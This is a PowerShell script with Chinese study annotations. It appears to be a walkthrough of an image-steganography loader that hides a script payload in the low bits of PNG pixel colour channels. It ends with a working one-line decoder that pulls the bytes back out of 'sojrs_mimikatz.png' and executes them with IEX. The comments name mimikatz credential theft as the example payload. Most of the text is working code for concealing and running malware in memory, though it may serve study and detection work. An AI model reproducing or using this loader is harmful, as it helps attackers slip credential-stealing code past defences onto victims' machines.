[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$Script,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$Out,
[Parameter(Position = 2, Mandatory = $False)]
[String]
$Image,
[switch] $WebClient,
[switch] $PictureBox
)
定义参数,共5个参数,Script;Out;Image;WebClient;PictureBox
if (-Not [System.IO.Path]::IsPathRooted($Script)){
$Script = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Script))
}
if (-Not [System.IO.Path]::IsPathRooted($Out)){
$Out = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Out))
}
判断script,out参数值的脚本路径是否存在,若存在,进行标准化
if ($Image) {
# Normalize paths beacuse powershell is sometimes bad with them.
if (-Not [System.IO.Path]::IsPathRooted($Image)){
$Image = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Image))
}
# Read the image into a bitmap
$img = New-Object System.Drawing.Bitmap($Image)
#从现有图像初始化bitmap类的新实例
$width = $img.Size.Width
$height = $img.Size.Height
#获取实例的宽和高,以像素为单位
# Lock the bitmap in memory so it can be changed programmatically.
$rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);
#绘制一个矩形,大小与图片相同
$bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat)
#将图片锁定在内存中,便于后续修改图片像素位
$ptr = $bmpData.Scan0
#获取图中第一个像素点的位置
# Copy the RGB values to an array for easy modification
$bytes = [Math]::Abs($bmpData.Stride) * $img.Height
#获取图片像素宽与高的乘积,相当于该图片所能植入的恶意代码的最大字节数
$rgbValues = New-Object byte[] $bytes;
[System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);
#将图片中的像素位数据复制到rgbvalues
# Check that the payload fits in the image
if($bytes/2 -lt $payload.Length) {
Write-Error "Image not large enough to contain payload!"
$img.UnlockBits($bmpData)
$img.Dispose()
Break
}
#图片大小和payload大小比较,若图片大小小于payload,报错并退出
for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
if ($counter -lt $payload.Length){
$paybyte1 = [math]::Floor($payload[$counter]/16)
$paybyte2 = ($payload[$counter] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
#读取payload的前后4位,paybyte1为前4位,paybyte2为后4位,band=&与运算,bor=|或运算,paybyte3为随机数,无关紧要
#以payload[$counter]=A为例分析,
#paybyte1=0x41/0x01 取商为0x04,即取出了payload的高四位
#paybyte2=0x41 & 0x0f == 0x01,即取出了payload的低四位
} else {
$paybyte1 = ($randb[$counter%113] -band 0x0f)
$paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
#若计数器大于payload长度,则填充随机数
}
$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
#这里rgbvalues($counter*3)表示B颜色分量,rgbValues[($counter*3+1)表示G颜色分量,分别与原来图片的低4位进行或运算从而保存
$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
}
以上这段就是保存payload到图片中的核心代码,即为图示的原理
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)
#将rgbvulues的数据保存到图片实例中
$img.UnlockBits($bmpData)
# Write the image to a file
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
#将图片实例另存为out文件中
$img.Dispose()
将植入恶意代码的rgb像素位保存到文件中
sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\Users\sojrs\Desktop\sojrs_mimikatz.png");
$o=a Byte[] 2877;
(0..2)|%{foreach($x in(0..958))
{$p=$g.GetPixel($x,$_);
$o[$_*959+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
#逆向过程,循环读取恶意图片像素中的B,G颜色分量的低4位,并将B的低4位进行进位,然后或运算后即为payload的字节表达式
$g.Dispose();
IEX([System.Text.Encoding]::ASCII.GetString($o[0..2839]))
#将payload转为字符
最终即获取到了一个恶意代码的对象,如果想要执行该对象的相关方法,后面添加分号即可,以mimikatz读取为例